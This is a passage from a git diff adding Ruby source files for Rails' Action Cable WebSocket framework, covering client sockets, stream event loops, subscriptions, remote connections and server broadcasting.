+        def invalid_request_message
+          "Failed to upgrade to WebSocket (REQUEST_METHOD: %s, HTTP_CONNECTION: %s, HTTP_UPGRADE: %s)" % [
+            env["REQUEST_METHOD"], env["HTTP_CONNECTION"], env["HTTP_UPGRADE"]
+          ]
+        end
+
+        def successful_request_message
+          "Successfully upgraded to WebSocket (REQUEST_METHOD: %s, HTTP_CONNECTION: %s, HTTP_UPGRADE: %s)" % [
+            env["REQUEST_METHOD"], env["HTTP_CONNECTION"], env["HTTP_UPGRADE"]
+          ]
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/client_socket.rb b/actioncable/lib/action_cable/connection/client_socket.rb
new file mode 100644
index 0000000000..ba33c8b982
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/client_socket.rb
@@ -0,0 +1,157 @@
+# frozen_string_literal: true
+
+require "websocket/driver"
+
+module ActionCable
+  module Connection
+    #--
+    # This class is heavily based on faye-websocket-ruby
+    #
+    # Copyright (c) 2010-2015 James Coglan
+    class ClientSocket # :nodoc:
+      def self.determine_url(env)
+        scheme = secure_request?(env) ? "wss:" : "ws:"
+        "#{ scheme }//#{ env['HTTP_HOST'] }#{ env['REQUEST_URI'] }"
+      end
+
+      def self.secure_request?(env)
+        return true if env["HTTPS"] == "on"
+        return true if env["HTTP_X_FORWARDED_SSL"] == "on"
+        return true if env["HTTP_X_FORWARDED_SCHEME"] == "https"
+        return true if env["HTTP_X_FORWARDED_PROTO"] == "https"
+        return true if env["rack.url_scheme"] == "https"
+
+        return false
+      end
+
+      CONNECTING = 0
+      OPEN       = 1
+      CLOSING    = 2
+      CLOSED     = 3
+
+      attr_reader :env, :url
+
+      def initialize(env, event_target, event_loop, protocols)
+        @env          = env
+        @event_target = event_target
+        @event_loop   = event_loop
+
+        @url = ClientSocket.determine_url(@env)
+
+        @driver = @driver_started = nil
+        @close_params = ["", 1006]
+
+        @ready_state = CONNECTING
+
+        # The driver calls +env+, +url+, and +write+
+        @driver = ::WebSocket::Driver.rack(self, protocols: protocols)
+
+        @driver.on(:open)    { |e| open }
+        @driver.on(:message) { |e| receive_message(e.data) }
+        @driver.on(:close)   { |e| begin_close(e.reason, e.code) }
+        @driver.on(:error)   { |e| emit_error(e.message) }
+
+        @stream = ActionCable::Connection::Stream.new(@event_loop, self)
+      end
+
+      def start_driver
+        return if @driver.nil? || @driver_started
+        @stream.hijack_rack_socket
+
+        if callback = @env["async.callback"]
+          callback.call([101, {}, @stream])
+        end
+
+        @driver_started = true
+        @driver.start
+      end
+
+      def rack_response
+        start_driver
+        [ -1, {}, [] ]
+      end
+
+      def write(data)
+        @stream.write(data)
+      rescue => e
+        emit_error e.message
+      end
+
+      def transmit(message)
+        return false if @ready_state > OPEN
+        case message
+        when Numeric then @driver.text(message.to_s)
+        when String  then @driver.text(message)
+        when Array   then @driver.binary(message)
+          else false
+        end
+      end
+
+      def close(code = nil, reason = nil)
+        code   ||= 1000
+        reason ||= ""
+
+        unless code == 1000 || (code >= 3000 && code <= 4999)
+          raise ArgumentError, "Failed to execute 'close' on WebSocket: " \
+                               "The code must be either 1000, or between 3000 and 4999. " \
+                               "#{code} is neither."
+        end
+
+        @ready_state = CLOSING unless @ready_state == CLOSED
+        @driver.close(reason, code)
+      end
+
+      def parse(data)
+        @driver.parse(data)
+      end
+
+      def client_gone
+        finalize_close
+      end
+
+      def alive?
+        @ready_state == OPEN
+      end
+
+      def protocol
+        @driver.protocol
+      end
+
+      private
+        def open
+          return unless @ready_state == CONNECTING
+          @ready_state = OPEN
+
+          @event_target.on_open
+        end
+
+        def receive_message(data)
+          return unless @ready_state == OPEN
+
+          @event_target.on_message(data)
+        end
+
+        def emit_error(message)
+          return if @ready_state >= CLOSING
+
+          @event_target.on_error(message)
+        end
+
+        def begin_close(reason, code)
+          return if @ready_state == CLOSED
+          @ready_state = CLOSING
+          @close_params = [reason, code]
+
+          @stream.shutdown if @stream
+          finalize_close
+        end
+
+        def finalize_close
+          return if @ready_state == CLOSED
+          @ready_state = CLOSED
+
+          @event_target.on_close(*@close_params)
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/identification.rb b/actioncable/lib/action_cable/connection/identification.rb
new file mode 100644
index 0000000000..4b5f9ca115
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/identification.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "set"
+
+module ActionCable
+  module Connection
+    module Identification
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :identifiers, default: Set.new
+      end
+
+      class_methods do
+        # Mark a key as being a connection identifier index that can then be used to find the specific connection again later.
+        # Common identifiers are current_user and current_account, but could be anything, really.
+        #
+        # Note that anything marked as an identifier will automatically create a delegate by the same name on any
+        # channel instances created off the connection.
+        def identified_by(*identifiers)
+          Array(identifiers).each { |identifier| attr_accessor identifier }
+          self.identifiers += identifiers
+        end
+      end
+
+      # Return a single connection identifier that combines the value of all the registered identifiers into a single gid.
+      def connection_identifier
+        unless defined? @connection_identifier
+          @connection_identifier = connection_gid identifiers.map { |id| instance_variable_get("@#{id}") }.compact
+        end
+
+        @connection_identifier
+      end
+
+      private
+        def connection_gid(ids)
+          ids.map do |o|
+            if o.respond_to? :to_gid_param
+              o.to_gid_param
+            else
+              o.to_s
+            end
+          end.sort.join(":")
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/internal_channel.rb b/actioncable/lib/action_cable/connection/internal_channel.rb
new file mode 100644
index 0000000000..f03904137b
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/internal_channel.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Connection
+    # Makes it possible for the RemoteConnection to disconnect a specific connection.
+    module InternalChannel
+      extend ActiveSupport::Concern
+
+      private
+        def internal_channel
+          "action_cable/#{connection_identifier}"
+        end
+
+        def subscribe_to_internal_channel
+          if connection_identifier.present?
+            callback = -> (message) { process_internal_message decode(message) }
+            @_internal_subscriptions ||= []
+            @_internal_subscriptions << [ internal_channel, callback ]
+
+            server.event_loop.post { pubsub.subscribe(internal_channel, callback) }
+            logger.info "Registered connection (#{connection_identifier})"
+          end
+        end
+
+        def unsubscribe_from_internal_channel
+          if @_internal_subscriptions.present?
+            @_internal_subscriptions.each { |channel, callback| server.event_loop.post { pubsub.unsubscribe(channel, callback) } }
+          end
+        end
+
+        def process_internal_message(message)
+          case message["type"]
+          when "disconnect"
+            logger.info "Removing connection (#{connection_identifier})"
+            websocket.close
+          end
+        rescue Exception => e
+          logger.error "There was an exception - #{e.class}(#{e.message})"
+          logger.error e.backtrace.join("\n")
+
+          close
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/message_buffer.rb b/actioncable/lib/action_cable/connection/message_buffer.rb
new file mode 100644
index 0000000000..f151a47072
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/message_buffer.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Connection
+    # Allows us to buffer messages received from the WebSocket before the Connection has been fully initialized, and is ready to receive them.
+    class MessageBuffer # :nodoc:
+      def initialize(connection)
+        @connection = connection
+        @buffered_messages = []
+      end
+
+      def append(message)
+        if valid? message
+          if processing?
+            receive message
+          else
+            buffer message
+          end
+        else
+          connection.logger.error "Couldn't handle non-string message: #{message.class}"
+        end
+      end
+
+      def processing?
+        @processing
+      end
+
+      def process!
+        @processing = true
+        receive_buffered_messages
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :connection
+        attr_reader :buffered_messages
+
+      private
+        def valid?(message)
+          message.is_a?(String)
+        end
+
+        def receive(message)
+          connection.receive message
+        end
+
+        def buffer(message)
+          buffered_messages << message
+        end
+
+        def receive_buffered_messages
+          receive buffered_messages.shift until buffered_messages.empty?
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/stream.rb b/actioncable/lib/action_cable/connection/stream.rb
new file mode 100644
index 0000000000..4873026b71
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/stream.rb
@@ -0,0 +1,115 @@
+# frozen_string_literal: true
+
+require "thread"
+
+module ActionCable
+  module Connection
+    #--
+    # This class is heavily based on faye-websocket-ruby
+    #
+    # Copyright (c) 2010-2015 James Coglan
+    class Stream # :nodoc:
+      def initialize(event_loop, socket)
+        @event_loop    = event_loop
+        @socket_object = socket
+        @stream_send   = socket.env["stream.send"]
+
+        @rack_hijack_io = nil
+        @write_lock = Mutex.new
+
+        @write_head = nil
+        @write_buffer = Queue.new
+      end
+
+      def each(&callback)
+        @stream_send ||= callback
+      end
+
+      def close
+        shutdown
+        @socket_object.client_gone
+      end
+
+      def shutdown
+        clean_rack_hijack
+      end
+
+      def write(data)
+        if @stream_send
+          return @stream_send.call(data)
+        end
+
+        if @write_lock.try_lock
+          begin
+            if @write_head.nil? && @write_buffer.empty?
+              written = @rack_hijack_io.write_nonblock(data, exception: false)
+
+              case written
+              when :wait_writable
+                # proceed below
+              when data.bytesize
+                return data.bytesize
+              else
+                @write_head = data.byteslice(written, data.bytesize)
+                @event_loop.writes_pending @rack_hijack_io
+
+                return data.bytesize
+              end
+            end
+          ensure
+            @write_lock.unlock
+          end
+        end
+
+        @write_buffer << data
+        @event_loop.writes_pending @rack_hijack_io
+
+        data.bytesize
+      rescue EOFError, Errno::ECONNRESET
+        @socket_object.client_gone
+      end
+
+      def flush_write_buffer
+        @write_lock.synchronize do
+          loop do
+            if @write_head.nil?
+              return true if @write_buffer.empty?
+              @write_head = @write_buffer.pop
+            end
+
+            written = @rack_hijack_io.write_nonblock(@write_head, exception: false)
+            case written
+            when :wait_writable
+              return false
+            when @write_head.bytesize
+              @write_head = nil
+            else
+              @write_head = @write_head.byteslice(written, @write_head.bytesize)
+              return false
+            end
+          end
+        end
+      end
+
+      def receive(data)
+        @socket_object.parse(data)
+      end
+
+      def hijack_rack_socket
+        return unless @socket_object.env["rack.hijack"]
+
+        @socket_object.env["rack.hijack"].call
+        @rack_hijack_io = @socket_object.env["rack.hijack_io"]
+
+        @event_loop.attach(@rack_hijack_io, self)
+      end
+
+      private
+        def clean_rack_hijack
+          return unless @rack_hijack_io
+          @event_loop.detach(@rack_hijack_io, self)
+          @rack_hijack_io = nil
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/stream_event_loop.rb b/actioncable/lib/action_cable/connection/stream_event_loop.rb
new file mode 100644
index 0000000000..d95afc50ba
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/stream_event_loop.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require "nio"
+require "thread"
+
+module ActionCable
+  module Connection
+    class StreamEventLoop
+      def initialize
+        @nio = @executor = @thread = nil
+        @map = {}
+        @stopping = false
+        @todo = Queue.new
+
+        @spawn_mutex = Mutex.new
+      end
+
+      def timer(interval, &block)
+        Concurrent::TimerTask.new(execution_interval: interval, &block).tap(&:execute)
+      end
+
+      def post(task = nil, &block)
+        task ||= block
+
+        spawn
+        @executor << task
+      end
+
+      def attach(io, stream)
+        @todo << lambda do
+          @map[io] = @nio.register(io, :r)
+          @map[io].value = stream
+        end
+        wakeup
+      end
+
+      def detach(io, stream)
+        @todo << lambda do
+          @nio.deregister io
+          @map.delete io
+          io.close
+        end
+        wakeup
+      end
+
+      def writes_pending(io)
+        @todo << lambda do
+          if monitor = @map[io]
+            monitor.interests = :rw
+          end
+        end
+        wakeup
+      end
+
+      def stop
+        @stopping = true
+        wakeup if @nio
+      end
+
+      private
+        def spawn
+          return if @thread && @thread.status
+
+          @spawn_mutex.synchronize do
+            return if @thread && @thread.status
+
+            @nio ||= NIO::Selector.new
+
+            @executor ||= Concurrent::ThreadPoolExecutor.new(
+              min_threads: 1,
+              max_threads: 10,
+              max_queue: 0,
+            )
+
+            @thread = Thread.new { run }
+
+            return true
+          end
+        end
+
+        def wakeup
+          spawn || @nio.wakeup
+        end
+
+        def run
+          loop do
+            if @stopping
+              @nio.close
+              break
+            end
+
+            until @todo.empty?
+              @todo.pop(true).call
+            end
+
+            next unless monitors = @nio.select
+
+            monitors.each do |monitor|
+              io = monitor.io
+              stream = monitor.value
+
+              begin
+                if monitor.writable?
+                  if stream.flush_write_buffer
+                    monitor.interests = :r
+                  end
+                  next unless monitor.readable?
+                end
+
+                incoming = io.read_nonblock(4096, exception: false)
+                case incoming
+                when :wait_readable
+                  next
+                when nil
+                  stream.close
+                else
+                  stream.receive incoming
+                end
+              rescue
+                # We expect one of EOFError or Errno::ECONNRESET in
+                # normal operation (when the client goes away). But if
+                # anything else goes wrong, this is still the best way
+                # to handle it.
+                begin
+                  stream.close
+                rescue
+                  @nio.deregister io
+                  @map.delete io
+                end
+              end
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/subscriptions.rb b/actioncable/lib/action_cable/connection/subscriptions.rb
new file mode 100644
index 0000000000..faafd6d0a6
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/subscriptions.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+
+module ActionCable
+  module Connection
+    # Collection class for all the channel subscriptions established on a given connection. Responsible for routing incoming commands that arrive on
+    # the connection to the proper channel.
+    class Subscriptions # :nodoc:
+      def initialize(connection)
+        @connection = connection
+        @subscriptions = {}
+      end
+
+      def execute_command(data)
+        case data["command"]
+        when "subscribe"   then add data
+        when "unsubscribe" then remove data
+        when "message"     then perform_action data
+        else
+          logger.error "Received unrecognized command in #{data.inspect}"
+        end
+      rescue Exception => e
+        logger.error "Could not execute command from (#{data.inspect}) [#{e.class} - #{e.message}]: #{e.backtrace.first(5).join(" | ")}"
+      end
+
+      def add(data)
+        id_key = data["identifier"]
+        id_options = ActiveSupport::JSON.decode(id_key).with_indifferent_access
+
+        return if subscriptions.key?(id_key)
+
+        subscription_klass = id_options[:channel].safe_constantize
+
+        if subscription_klass && ActionCable::Channel::Base >= subscription_klass
+          subscription = subscription_klass.new(connection, id_key, id_options)
+          subscriptions[id_key] = subscription
+          subscription.subscribe_to_channel
+        else
+          logger.error "Subscription class not found: #{id_options[:channel].inspect}"
+        end
+      end
+
+      def remove(data)
+        logger.info "Unsubscribing from channel: #{data['identifier']}"
+        remove_subscription subscriptions[data["identifier"]]
+      end
+
+      def remove_subscription(subscription)
+        subscription.unsubscribe_from_channel
+        subscriptions.delete(subscription.identifier)
+      end
+
+      def perform_action(data)
+        find(data).perform_action ActiveSupport::JSON.decode(data["data"])
+      end
+
+      def identifiers
+        subscriptions.keys
+      end
+
+      def unsubscribe_from_all
+        subscriptions.each { |id, channel| remove_subscription(channel) }
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :connection, :subscriptions
+
+      private
+        delegate :logger, to: :connection
+
+        def find(data)
+          if subscription = subscriptions[data["identifier"]]
+            subscription
+          else
+            raise "Unable to find subscription with identifier: #{data['identifier']}"
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb b/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb
new file mode 100644
index 0000000000..85831806a9
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Connection
+    # Allows the use of per-connection tags against the server logger. This wouldn't work using the traditional
+    # <tt>ActiveSupport::TaggedLogging</tt> enhanced Rails.logger, as that logger will reset the tags between requests.
+    # The connection is long-lived, so it needs its own set of tags for its independent duration.
+    class TaggedLoggerProxy
+      attr_reader :tags
+
+      def initialize(logger, tags:)
+        @logger = logger
+        @tags = tags.flatten
+      end
+
+      def add_tags(*tags)
+        @tags += tags.flatten
+        @tags = @tags.uniq
+      end
+
+      def tag(logger)
+        if logger.respond_to?(:tagged)
+          current_tags = tags - logger.formatter.current_tags
+          logger.tagged(*current_tags) { yield }
+        else
+          yield
+        end
+      end
+
+      %i( debug info warn error fatal unknown ).each do |severity|
+        define_method(severity) do |message|
+          log severity, message
+        end
+      end
+
+      private
+        def log(type, message) # :doc:
+          tag(@logger) { @logger.send type, message }
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/web_socket.rb b/actioncable/lib/action_cable/connection/web_socket.rb
new file mode 100644
index 0000000000..81233ace34
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/web_socket.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "websocket/driver"
+
+module ActionCable
+  module Connection
+    # Wrap the real socket to minimize the externally-presented API
+    class WebSocket # :nodoc:
+      def initialize(env, event_target, event_loop, protocols: ActionCable::INTERNAL[:protocols])
+        @websocket = ::WebSocket::Driver.websocket?(env) ? ClientSocket.new(env, event_target, event_loop, protocols) : nil
+      end
+
+      def possible?
+        websocket
+      end
+
+      def alive?
+        websocket && websocket.alive?
+      end
+
+      def transmit(data)
+        websocket.transmit data
+      end
+
+      def close
+        websocket.close
+      end
+
+      def protocol
+        websocket.protocol
+      end
+
+      def rack_response
+        websocket.rack_response
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :websocket
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/engine.rb b/actioncable/lib/action_cable/engine.rb
new file mode 100644
index 0000000000..c961f47342
--- /dev/null
+++ b/actioncable/lib/action_cable/engine.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "rails"
+require "action_cable"
+require_relative "helpers/action_cable_helper"
+require "active_support/core_ext/hash/indifferent_access"
+
+module ActionCable
+  class Engine < Rails::Engine # :nodoc:
+    config.action_cable = ActiveSupport::OrderedOptions.new
+    config.action_cable.mount_path = ActionCable::INTERNAL[:default_mount_path]
+
+    config.eager_load_namespaces << ActionCable
+
+    initializer "action_cable.helpers" do
+      ActiveSupport.on_load(:action_view) do
+        include ActionCable::Helpers::ActionCableHelper
+      end
+    end
+
+    initializer "action_cable.logger" do
+      ActiveSupport.on_load(:action_cable) { self.logger ||= ::Rails.logger }
+    end
+
+    initializer "action_cable.set_configs" do |app|
+      options = app.config.action_cable
+      options.allowed_request_origins ||= /https?:\/\/localhost:\d+/ if ::Rails.env.development?
+
+      app.paths.add "config/cable", with: "config/cable.yml"
+
+      ActiveSupport.on_load(:action_cable) do
+        if (config_path = Pathname.new(app.config.paths["config/cable"].first)).exist?
+          self.cable = Rails.application.config_for(config_path).with_indifferent_access
+        end
+
+        previous_connection_class = connection_class
+        self.connection_class = -> { "ApplicationCable::Connection".safe_constantize || previous_connection_class.call }
+
+        options.each { |k, v| send("#{k}=", v) }
+      end
+    end
+
+    initializer "action_cable.routes" do
+      config.after_initialize do |app|
+        config = app.config
+        unless config.action_cable.mount_path.nil?
+          app.routes.prepend do
+            mount ActionCable.server => config.action_cable.mount_path, internal: true
+          end
+        end
+      end
+    end
+
+    initializer "action_cable.set_work_hooks" do |app|
+      ActiveSupport.on_load(:action_cable) do
+        ActionCable::Server::Worker.set_callback :work, :around, prepend: true do |_, inner|
+          app.executor.wrap do
+            # If we took a while to get the lock, we may have been halted
+            # in the meantime. As we haven't started doing any real work
+            # yet, we should pretend that we never made it off the queue.
+            unless stopping?
+              inner.call
+            end
+          end
+        end
+
+        wrap = lambda do |_, inner|
+          app.executor.wrap(&inner)
+        end
+        ActionCable::Channel::Base.set_callback :subscribe, :around, prepend: true, &wrap
+        ActionCable::Channel::Base.set_callback :unsubscribe, :around, prepend: true, &wrap
+
+        app.reloader.before_class_unload do
+          ActionCable.server.restart
+        end
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/gem_version.rb b/actioncable/lib/action_cable/gem_version.rb
new file mode 100644
index 0000000000..af8277d06e
--- /dev/null
+++ b/actioncable/lib/action_cable/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActionCable
+  # Returns the version of the currently loaded Action Cable as a <tt>Gem::Version</tt>.
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actioncable/lib/action_cable/helpers/action_cable_helper.rb b/actioncable/lib/action_cable/helpers/action_cable_helper.rb
new file mode 100644
index 0000000000..df16c02e83
--- /dev/null
+++ b/actioncable/lib/action_cable/helpers/action_cable_helper.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Helpers
+    module ActionCableHelper
+      # Returns an "action-cable-url" meta tag with the value of the URL specified in your
+      # configuration. Ensure this is above your JavaScript tag:
+      #
+      #   <head>
+      #     <%= action_cable_meta_tag %>
+      #     <%= javascript_include_tag 'application', 'data-turbolinks-track' => 'reload' %>
+      #   </head>
+      #
+      # This is then used by Action Cable to determine the URL of your WebSocket server.
+      # Your CoffeeScript can then connect to the server without needing to specify the
+      # URL directly:
+      #
+      #   #= require cable
+      #   @App = {}
+      #   App.cable = Cable.createConsumer()
+      #
+      # Make sure to specify the correct server location in each of your environment
+      # config files:
+      #
+      #   config.action_cable.mount_path = "/cable123"
+      #   <%= action_cable_meta_tag %> would render:
+      #   => <meta name="action-cable-url" content="/cable123" />
+      #
+      #   config.action_cable.url = "ws://actioncable.com"
+      #   <%= action_cable_meta_tag %> would render:
+      #   => <meta name="action-cable-url" content="ws://actioncable.com" />
+      #
+      def action_cable_meta_tag
+        tag "meta", name: "action-cable-url", content: (
+          ActionCable.server.config.url ||
+          ActionCable.server.config.mount_path ||
+          raise("No Action Cable URL configured -- please configure this at config.action_cable.url")
+        )
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/remote_connections.rb b/actioncable/lib/action_cable/remote_connections.rb
new file mode 100644
index 0000000000..a92b5e90b4
--- /dev/null
+++ b/actioncable/lib/action_cable/remote_connections.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module ActionCable
+  # If you need to disconnect a given connection, you can go through the
+  # RemoteConnections. You can find the connections you're looking for by
+  # searching for the identifier declared on the connection. For example:
+  #
+  #   module ApplicationCable
+  #     class Connection < ActionCable::Connection::Base
+  #       identified_by :current_user
+  #       ....
+  #     end
+  #   end
+  #
+  #   ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect
+  #
+  # This will disconnect all the connections established for
+  # <tt>User.find(1)</tt>, across all servers running on all machines, because
+  # it uses the internal channel that all of these servers are subscribed to.
+  class RemoteConnections
+    attr_reader :server
+
+    def initialize(server)
+      @server = server
+    end
+
+    def where(identifier)
+      RemoteConnection.new(server, identifier)
+    end
+
+    private
+      # Represents a single remote connection found via <tt>ActionCable.server.remote_connections.where(*)</tt>.
+      # Exists solely for the purpose of calling #disconnect on that connection.
+      class RemoteConnection
+        class InvalidIdentifiersError < StandardError; end
+
+        include Connection::Identification, Connection::InternalChannel
+
+        def initialize(server, ids)
+          @server = server
+          set_identifier_instance_vars(ids)
+        end
+
+        # Uses the internal channel to disconnect the connection.
+        def disconnect
+          server.broadcast internal_channel, type: "disconnect"
+        end
+
+        # Returns all the identifiers that were applied to this connection.
+        redefine_method :identifiers do
+          server.connection_identifiers
+        end
+
+        private
+          attr_reader :server
+
+          def set_identifier_instance_vars(ids)
+            raise InvalidIdentifiersError unless valid_identifiers?(ids)
+            ids.each { |k, v| instance_variable_set("@#{k}", v) }
+          end
+
+          def valid_identifiers?(ids)
+            keys = ids.keys
+            identifiers.all? { |id| keys.include?(id) }
+          end
+      end
+  end
+end
diff --git a/actioncable/lib/action_cable/server.rb b/actioncable/lib/action_cable/server.rb
new file mode 100644
index 0000000000..8d485a44f6
--- /dev/null
+++ b/actioncable/lib/action_cable/server.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Server
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :Base
+      autoload :Broadcasting
+      autoload :Connections
+      autoload :Configuration
+
+      autoload :Worker
+      autoload :ActiveRecordConnectionManagement, "action_cable/server/worker/active_record_connection_management"
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/server/base.rb b/actioncable/lib/action_cable/server/base.rb
new file mode 100644
index 0000000000..6c6f6c2936
--- /dev/null
+++ b/actioncable/lib/action_cable/server/base.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "monitor"
+
+module ActionCable
+  module Server
+    # A singleton ActionCable::Server instance is available via ActionCable.server. It's used by the Rack process that starts the Action Cable server, but
+    # is also used by the user to reach the RemoteConnections object, which is used for finding and disconnecting connections across all servers.
+    #
+    # Also, this is the server instance used for broadcasting. See Broadcasting for more information.
+    class Base
+      include ActionCable::Server::Broadcasting
+      include ActionCable::Server::Connections
+
+      cattr_accessor :config, instance_accessor: true, default: ActionCable::Server::Configuration.new
+
+      def self.logger; config.logger; end
+      delegate :logger, to: :config
+
+      attr_reader :mutex
+
+      def initialize
+        @mutex = Monitor.new
+        @remote_connections = @event_loop = @worker_pool = @pubsub = nil
+      end
+
+      # Called by Rack to setup the server.
+      def call(env)
+        setup_heartbeat_timer
+        config.connection_class.call.new(self, env).process
+      end
+
+      # Disconnect all the connections identified by `identifiers` on this server or any others via RemoteConnections.
+      def disconnect(identifiers)
+        remote_connections.where(identifiers).disconnect
+      end
+
+      def restart
+        connections.each(&:close)
+
+        @mutex.synchronize do
+          # Shutdown the worker pool
+          @worker_pool.halt if @worker_pool
+          @worker_pool = nil
+
+          # Shutdown the pub/sub adapter
+          @pubsub.shutdown if @pubsub
+          @pubsub = nil
+        end
+      end
+
+      # Gateway to RemoteConnections. See that class for details.
+      def remote_connections
+        @remote_connections || @mutex.synchronize { @remote_connections ||= RemoteConnections.new(self) }
+      end
+
+      def event_loop
+        @event_loop || @mutex.synchronize { @event_loop ||= ActionCable::Connection::StreamEventLoop.new }
+      end
+
+      # The worker pool is where we run connection callbacks and channel actions. We do as little as possible on the server's main thread.
+      # The worker pool is an executor service that's backed by a pool of threads working from a task queue. The thread pool size maxes out
+      # at 4 worker threads by default. Tune the size yourself with <tt>config.action_cable.worker_pool_size</tt>.
+      #
+      # Using Active Record, Redis, etc within your channel actions means you'll get a separate connection from each thread in the worker pool.
+      # Plan your deployment accordingly: 5 servers each running 5 Puma workers each running an 8-thread worker pool means at least 200 database
+      # connections.
+      #
+      # Also, ensure that your database connection pool size is as least as large as your worker pool size. Otherwise, workers may oversubscribe
+      # the database connection pool and block while they wait for other workers to release their connections. Use a smaller worker pool or a larger
+      # database connection pool instead.
+      def worker_pool
+        @worker_pool || @mutex.synchronize { @worker_pool ||= ActionCable::Server::Worker.new(max_size: config.worker_pool_size) }
+      end
+
+      # Adapter used for all streams/broadcasting.
+      def pubsub
+        @pubsub || @mutex.synchronize { @pubsub ||= config.pubsub_adapter.new(self) }
+      end
+
+      # All of the identifiers applied to the connection class associated with this server.
+      def connection_identifiers
+        config.connection_class.call.identifiers
+      end
+    end
+
+    ActiveSupport.run_load_hooks(:action_cable, Base.config)
+  end
+end
diff --git a/actioncable/lib/action_cable/server/broadcasting.rb b/actioncable/lib/action_cable/server/broadcasting.rb
new file mode 100644
index 0000000000..bc54d784b3
--- /dev/null
+++ b/actioncable/lib/action_cable/server/broadcasting.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Server
+    # Broadcasting is how other parts of your application can send messages to a channel's subscribers. As explained in Channel, most of the time, these
+    # broadcastings are streamed directly to the clients subscribed to the named broadcasting. Let's explain with a full-stack example:
+    #
+    #   class WebNotificationsChannel < ApplicationCable::Channel
+    #     def subscribed
+    #       stream_from "web_notifications_#{current_user.id}"
+    #     end
+    #   end
+    #
+    #   # Somewhere in your app this is called, perhaps from a NewCommentJob:
+    #   ActionCable.server.broadcast \
+    #     "web_notifications_1", { title: "New things!", body: "All that's fit for print" }
+    #
+    #   # Client-side CoffeeScript, which assumes you've already requested the right to send web notifications:
+    #   App.cable.subscriptions.create "WebNotificationsChannel",
+    #     received: (data) ->
+    #       new Notification data['title'], body: data['body']
+    module Broadcasting
+      # Broadcast a hash directly to a named <tt>broadcasting</tt>. This will later be JSON encoded.
+      def broadcast(broadcasting, message, coder: ActiveSupport::JSON)
+        broadcaster_for(broadcasting, coder: coder).broadcast(message)
+      end
+
+      # Returns a broadcaster for a named <tt>broadcasting</tt> that can be reused. Useful when you have an object that
+      # may need multiple spots to transmit to a specific broadcasting over and over.
+      def broadcaster_for(broadcasting, coder: ActiveSupport::JSON)
+        Broadcaster.new(self, String(broadcasting), coder: coder)
+      end
+
+      private
+        class Broadcaster
+          attr_reader :server, :broadcasting, :coder
+
+          def initialize(server, broadcasting, coder:)
+            @server, @broadcasting, @coder = server, broadcasting, coder
+          end
+
+          def broadcast(message)
+            server.logger.debug "[ActionCable] Broadcasting to #{broadcasting}: #{message.inspect}"
+
+            payload = { broadcasting: broadcasting, message: message, coder: coder }
+            ActiveSupport::Notifications.instrument("broadcast.action_cable", payload) do
+              encoded = coder ? coder.encode(message) : message
+              server.pubsub.broadcast broadcasting, encoded
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/server/configuration.rb b/actioncable/lib/action_cable/server/configuration.rb
new file mode 100644
index 0000000000..82fed81a18
--- /dev/null
+++ b/actioncable/lib/action_cable/server/configuration.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Server
+    # An instance of this configuration object is available via ActionCable.server.config, which allows you to tweak Action Cable configuration
+    # in a Rails config initializer.
